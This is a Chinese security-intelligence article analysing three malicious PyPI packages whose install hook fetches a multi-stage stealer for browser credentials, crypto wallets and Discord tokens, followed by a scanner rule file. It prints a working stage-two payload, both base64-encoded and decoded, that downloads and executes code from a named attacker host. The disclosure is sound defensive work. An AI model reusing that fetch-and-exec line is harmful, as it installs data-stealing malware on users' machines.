前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >安全情报 | Pypi再现窃密攻击投毒

安全情报 | Pypi再现窃密攻击投毒

原创
作者头像
OpenSCA社区
发布于 2023-09-19 07:09:58
发布于 2023-09-19 07:09:58
39600
代码可运行
举报
文章被收录于专栏:OpenSCAOpenSCA
运行总次数:0
代码可运行

概述

悬镜安全自研的开源组件投毒检测平台通过对主流开源软件仓库(包括Pypi、NPM、Ruby等)发布的组件包进行持续性监控和自动化代码安全分析,同时结合专家安全经验复审,能够及时发现组件包投毒事件并精确定位恶意代码片段,捕获潜在的供应链投毒攻击行为。

上周我们在Python官方仓库(Pypi)中发现多起新的恶意组件包投毒事件,值得注意的是,urllitelib、urtelib32、graphql32三个python恶意包由同一个攻击者在9月10~11号之间上传投放到Pypi仓库,在此期间攻击者连续迭代发布多个版本,这三个恶意包的代码和攻击行为具有极高相似度,其主要攻击行为是窃取受害者PC操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等),截至目前这些恶意Py包在官方仓库上已被下载近2000次(详细数据如下所示)。

(https://www.pepy.tech/projects/urllitelib)

目前这些投毒包已从官方仓库中下架,经悬镜供应链安全实验室确认,国内各大主流Pypi镜像源仍缓存这些恶意投毒包 ,对于使用国内镜像源的广大开发者来说依旧面临潜在的安全风险。悬镜安全提醒国内开发者们自行排查是否安装或引用以下Python恶意组件包。

投毒窃密分析

从09月10日开始,悬镜安全的开源组件投毒检测系统监测到投毒者(benjaminrodriguezshhh@proton.me)持续向官方Pypi仓库中投放urllitelib、urtelib32、graphql32等多个版本的恶意Py包,这些恶意包命中了检测引擎的安全风险规则,通过进一步对恶意包样本的人工分析后,确认这是一起有针对性的投毒攻击事件,投毒者的攻击对象是Windows操作系统用户,其主要攻击行为是窃取Windows操作系统、主流浏览器、社交软件以及区块链钱包软件的敏感数据。

投毒攻击流程

当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或者依赖引用恶意组件包时,将自动触发执行恶意安装包setup.py中的第一阶段攻击代码,第一阶段攻击代码将从远程服务器下载第二、三阶段的攻击载荷,经过解码后,第三阶段攻击载荷将成为最终的投毒攻击代码。

投毒包攻击流如下图所示:

恶意样本分析

以  urllitelib(1.2.0版本)为例:攻击者在组件包setup.py中设置自定义command类CustomInstall,当开发者执行pip install urllitelib安装组件包时将触发 CustomInstall.run()函数中的第一阶段攻击代码(如下图所示)。

远程下载攻击载荷

第一阶段的攻击代码首先将内置的恶意代码写入config.py文件后,进一步尝试使用管理员权限执行config.py,config.py将通过HTTP Auth认证的GET请求从远程服务器下载执行伪装成图片(http://wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png)的第二阶段攻击Payload,第二阶段Payload使用base64进行简单编码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ZXhlYyhyZXF1ZXN0cy5nZXQoJ2h0dHA6Ly93cHAtYXBpLTAxaHcub25yZW5kZXIuY29tL2FwaS9zdGVhbC8xMTQwODg0NDgxNjcxMTg4NTgxLycsIGhlYWRlcnM9eydhdXRoJzogJyYmQ0QmJk9OJ30pLmpzb24oKVsnY29kZSddKQ

base64解码后,第二阶段攻击Payload真实内容如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
b"exec(requests.get('http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/', headers={'auth': '&&CD&&ON'}).json()['code'])"

第三阶段的攻击Payload同样是通过HTTP Auth认证的GET请求从http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/下载后,再进行一轮base64解码,投毒包最终的攻击载荷如下所示:

通过分析投毒包远程载荷代码可明显发现其主要攻击逻辑包含有系统运行环境反调试、获取操作系统基本信息、窃取浏览器用户数据(密码,cookie,浏览记录等)、获取主流应用软件用户token、盗取区块链钱包敏感数据以及开机自启动等恶意行为。

反调试&虚拟机对抗

如下图所示,恶意代码具备比较基础的反调试和虚拟机对抗能力。恶意代码在执行数据窃密操作前,如果检测到系统中存在代码逆向、进程调试、进程监控、网络流量分析以及虚拟机服务等相关进程后会尝试杀死这些进程。此外,当检测到当前操作系统的主机名、网络IP、MAC地址如果命中内置的黑名单后,会删除自身代码,躲避检测。

获取系统敏感信息

恶意代码除了获取操作系统设备ID、主机名、用户名、网络IP、MAC等基础信息之外,还会对系统屏幕进行截屏。这些敏感数据最终都将发送到攻击者服务器上。

窃取浏览器用户数据

恶意代码还会尝试遍历主流浏览器的用户数据目录,窃取浏览器中存储的用户密码、cookie、信用卡、历史浏览记录等敏感数据。

盗取区块链钱包账户数据

恶意代码会遍历主流数字货币钱包(例如Exodus、Atomic Wallet.等)的数据目录,对钱包账户数据进行压缩打包后发送给攻击者服务器。

盗取Discord及主流浏览器token

此外,恶意代码还会搜索主流浏览器和Discord的用户数据目录,尝试从leveldb、sqlite3等本地数据库中挖掘出符合特定正则表达式的用户token数据。

IoC数据

此次投毒组件包涉及的恶意文件和恶意链接IoC数据如下所示:

总结

截止目前,投毒攻击者所使用的恶意代码载荷URL依然有效,虽然相关的投毒组件包已经从官方仓库Pypi上下架,但其依然存活于国内各大Pypi镜像源中,因此对于国内广大开发者来说仍需提供安全防范意识,除了自行排查现有Py安装包外,建议尽量使用官方Pypi仓库源。

排查方式

使用OpenSCA-cli,将以下内容保存为db.json文件,直接执行扫描命令(opensca-cli -db db.sjon -path${project_path}),即可快速获知您的项目是否受到投毒包影响。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
[
  {
      "product": "urllitelib",
      "version": "[1.0.0, 1.2.0]",
      "language": "python",    
      "id": "XMIRROR-2023-70549",    
      "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",    
      "release_date": "2023-09-18"  
  },  
  {    
      "product": "urtelib32",    
      "version": "[1.7.2, 1.8.1]",    
      "language": "python",    
      "id": "XMIRROR-2023-70550",    
      "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",    
      "release_date": "2023-09-18"  
  },  
  {    
      "product": "graphql32",    
      "version": "[1.7.2, 1.8.4]",    
      "language": "python",    
      "id": "XMIRROR-2023-70551",    
      "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",    
      "release_date": "2023-09-18"  
  }
]

悬镜安全也将持续监测和挖掘未知的开源组件安全风险,并及时对供应链投毒事件进行分析披露。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析)
悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方式对潜在风险的开源组件包进行动态跟踪和捕获,发现大量的开源组件恶意包投毒攻击事件。在2024年4月份,悬镜供应链安全情报中心在NPM官方仓库(https://www.npmjs.com/)和Pypi官方仓库(https://pypi.org/)上共捕获772个不同版本的恶意组件包,其中NPM仓库投毒占比接近89%, Pypi仓库投毒占比11%;Pypi官方仓库经历3月份遭受集中式投毒后,对新发布组件包进一步加强审查力度,本月Pypi恶意投毒攻击呈现大幅下降趋势。
OpenSCA社区
2024/05/21
3481
供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析)
供应链投毒预警:恶意Py包伪装HTTP组件开展CStealer窃密后门攻击
近日(2024年4月25号),悬镜供应链安全情报中心在Pypi官方仓库(https://pypi.org/)中捕获1起CStealer窃密后门投毒事件,投毒者连续发布6个不同版本的恶意Py包multiplerequests,目标针对windows平台python开发者,该恶意包在安装时会远程加载CStealer后门到受害者系统上执行,该后门会窃取受害者系统敏感信息、主流浏览器隐私数据、数字货币钱包应用数据以及系统屏幕截屏等。此外,后门还会尝试驻留Windows系统启动目录实现开机自启动。
OpenSCA社区
2024/04/30
1670
供应链投毒预警:恶意Py包伪装HTTP组件开展CStealer窃密后门攻击
供应链投毒预警 | 恶意Py包仿冒tensorflow AI框架实施后门投毒攻击
本周(2024年01月15号),悬镜供应链安全实验室在Pypi官方仓库(https://pypi.org/)中捕获1起Py包投毒事件,投毒者利用包名错误拼写(typo-squatting)的攻击方式来仿冒谷歌开源的tensorflow机器/深度学习框架,投毒攻击目标锁定AI开发者。
OpenSCA社区
2024/01/22
3140
GitHub遭遇严重供应链“投毒”攻击
Checkmarx 在一份技术报告中提到,黑客在这次攻击中使用了多种TTP,其中包括窃取浏览器cookie接管账户、通过验证提交恶意代码、建立自定义Python镜像,以及向PyPI注册表发布恶意软件包等。
FB客服
2024/04/01
4090
GitHub遭遇严重供应链“投毒”攻击
供应链安全情报 | 恶意py包伪装代理SDK进行后门攻击,目标锁定python开发者
2023年11月28号,悬镜供应链安全实验室在Pypi官方仓库(https://pypi.org)监测到两起伪装成http和socks5代理SDK的开源组件投毒事件。python开发者一旦下载安装这些投毒Py包(libproxy、libsocks5),会触发执行Py包中的恶意代码,最终将导致开发者系统被投毒者植入恶意后门。
OpenSCA社区
2023/12/01
4560
供应链安全情报 | 恶意py包伪装代理SDK进行后门攻击,目标锁定python开发者
重大SBOM风险预警 | 总下载量超百万次开源NPM组件被投毒
近日(2025.03.25),悬镜供应链安全情报中心在NPM官方仓库(www.npmjs.com)中捕获1起针对全球知名薪酬数据统计平台 PayScale 旗下开源NPM组件 country-currency-map的供应链投毒事件。country-currency-map 是一款可以帮助前端开发人员快速获取货币和国家/地区关系,便于开发国际化应用的开源组件。截至目前 country-currency-map 组件在NPM官方仓库总下载量已超过百万次。
软件供应链安全工具推荐
2025/03/31
1280
重大SBOM风险预警 | 总下载量超百万次开源NPM组件被投毒
供应链投毒预警 | 开源供应链投毒202401最新月报来啦!
悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方法对潜在风险的开源组件包进行分析和监测,捕获大量开源组件恶意包投毒攻击事件。2024 年 1 月份,悬镜供应链安全情报中心在 Npm 官方仓库(https://www.npmjs.com/)和 Pypi 官方仓库(https://pypi.org/)上共捕获 675 个不同版本的恶意投毒包,其中 Npm 仓库投毒占比 90.48%, Pypi 仓库投毒占比 9.52%, 从每日捕获的投毒包数据来看,Npm 仓库仍然是开源组件投毒的重灾区。
OpenSCA社区
2024/03/02
4080
【安全通知】PyPI 官方仓库遭遇request恶意包投毒
近日,腾讯洋葱反入侵系统检测发现 PyPI官方仓库被恶意上传了request 钓鱼包,由于国内开源镜像站均同步于PyPI官方仓库,所以该问题不仅会通过官方仓库,还可能通过各个开源镜像站影响广大用户,腾讯安全应急响应中心(TSRC)秉承共建安全生态的原则,TSRC在此建议各开源镜像站以及对开源镜像站有依赖的公司,请尽快自查处理,确保恶意库得到清除,保障用户安全。
腾讯安全应急响应中心
2020/08/05
9270
【安全通知】PyPI 官方仓库遭遇request恶意包投毒
供应链投毒预警 | 恶意NPM包利用Windows反向shell后门攻击开发者
本周(2024年02月19号),悬镜供应链安全情报中心在NPM官方仓库(https://npmjs.com)中发现多起NPM组件包投毒事件。攻击者利用包名错误拼写方式 (typo-squatting)在NPM仓库中连续发布9个不同版本的恶意包,试图通过仿冒合法组件(ts-patch-mongoose)来攻击潜在的NodeJS开发者。
OpenSCA社区
2024/02/29
3750
数百万个GitHub仓库被发现感染恶意代码
最近,安全公司Apiiro的一份报告揭示了一种名为“仓库混淆”攻击,该攻击已经影响了GitHub上的超过100,000个仓库。
星尘安全
2024/10/17
2390
数百万个GitHub仓库被发现感染恶意代码
初级程序才删库跑路,而高级的已经代码投毒了。
  借用习大大的一句话:安全是发展的保障,发展是安全的目的。 这句话不仅仅适用于实体经济,也适用于互联网。
TodoCoder
2022/09/23
6560
初级程序才删库跑路,而高级的已经代码投毒了。
【安全通知】PyPI 官方仓库遭遇covd恶意包投毒
近日,腾讯洋葱反入侵系统检测发现 PyPI官方仓库被恶意上传了covd 钓鱼包,并通知官方仓库下架处理。由于国内开源镜像站均同步于PyPI官方仓库,所以该问题不仅会通过官方仓库,还可能通过各个开源镜像站影响广大用户,腾讯安全应急响应中心(TSRC)秉承共建安全生态的原则,TSRC在此建议各开源镜像站以及对开源镜像站有依赖的组织和公司,请尽快自查处理,确保恶意库得到清除,保障用户安全。
腾讯安全应急响应中心
2020/11/18
5630
【安全通知】PyPI 官方仓库遭遇covd恶意包投毒
PyPI代码库又现恶意软件包,腾讯安全威胁情报已收录,专家提醒码农小心供应链攻击
据Jfrog科技博客报道,在 PyPI 存储库中发现几个恶意代码,攻击者试图植入后门、窃取信用卡信息、窃取浏览器敏感数据、截屏并上传到指定地址。相关恶意代码在从PyPI网站删除之前已被下载3万次,腾讯安全专家发现国内部分镜像库尚存在这些恶意代码,腾讯安全专家建议软件开发人员从PyPI 代码库下载资源时,注意进行安全审核,避免将恶意代码安装到自己的开发环境中。
腾讯安全
2021/08/04
1.1K0
PyPI代码库又现恶意软件包,腾讯安全威胁情报已收录,专家提醒码农小心供应链攻击
Web3 开发的安全性
Web3 开发的安全性至关重要,因为区块链和去中心化应用(DApps)涉及资产管理和用户隐私,一旦出现漏洞,可能导致严重的经济损失和信任危机。以下是 Web3 开发中的主要安全挑战及解决方案。
数字孪生开发者
2025/01/28
1120
Web3 开发的安全性
攻防演练|RASP让WebShell攻击破防了
WebShell 是一种通过浏览器来进行交互的Shell,而且是黑客通常使用的一种恶意脚本,通常被攻击者用来获取对应用服务器的某些操作权限。攻击者通过渗透系统或网络,然后安装 WebShell ,攻击者可以在应用服务器上执行敏感命令、窃取数据、植入病毒,危害极大。而且, WebShell 隐蔽性极强,传统的流量侧方案对其防御效果不佳。本文将为大家介绍一下常见的 WebShell 类型以及 RASP 如何对其进行防御。
云鲨RASP
2023/04/14
8770
PyPI 中发现六个针对 Windows 用户的恶意软件包
研究人员发现的 6 个恶意软件包,都缺少与之关联的 GitHub 存储库。合法软件包通常都会有与之关联的存储库,而恶意软件包为了隐藏代码则通常不会关联。执行后,恶意软件包会收集敏感数据并将其发送到第三方 URL。
FB客服
2023/08/08
2850
PyPI 中发现六个针对 Windows 用户的恶意软件包
朝鲜 Lazarus 黑客通过 npm 包感染了数百人
在 npm(Node 包管理器)平台上,研究人员发现了六个与朝鲜黑客组织 Lazarus 相关的恶意程序包。截至目前,这些恶意包已被下载 330 次,它们的目标是窃取用户账户凭据、在受感染系统中植入后门,以及获取敏感的加密货币信息。
星尘安全
2025/03/17
470
朝鲜 Lazarus 黑客通过 npm 包感染了数百人
RASP解决Java安全问题探讨
Java 语言在应用场景下有更健全的性能,对于很多企业而言是应用程序编写选择中的 Plan A。树大招风,这也使得它成为攻击者重点关注的对象。
云鲨RASP
2023/04/17
1K0
SolarWinds漏洞四周年,供应链攻击已成企业「大麻烦」
四年前,SolarWinds 供应链攻击事件闹得「沸沸扬扬」,将供应链安全问题与危害性摆在「明面上」,如今四年过去了,我们又陆续经历了包括 Apache Log4j2 在内的多个供应链事件,接下来组织与企业该如何应对供应链安全的挑战?
FB客服
2024/04/25
6500
SolarWinds漏洞四周年,供应链攻击已成企业「大麻烦」
PyPI中发现新恶意Python库
Check Point的安全研究人员在Python软件包索引(PyPI)上发现了10个恶意软件包,这是Python开发人员使用的主要Python软件包索引。 第一个恶意软件包是Ascii2text,这是一个通过名称和描述模仿流行艺术包的恶意包。在Check Point的公告中称攻击者为了防止用户意识到这是个恶意假包,因此复制了整个项目描述,而非过去常见的部分复制描述。一旦下载了Ascii2text,其将会通过下载一个脚本,收集存储在谷歌浏览器、微软Edge、Brave、Opera和Yandex浏览器等网络
FB客服
2023/03/30
6360
PyPI中发现新恶意Python库
推荐阅读
相关推荐
供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验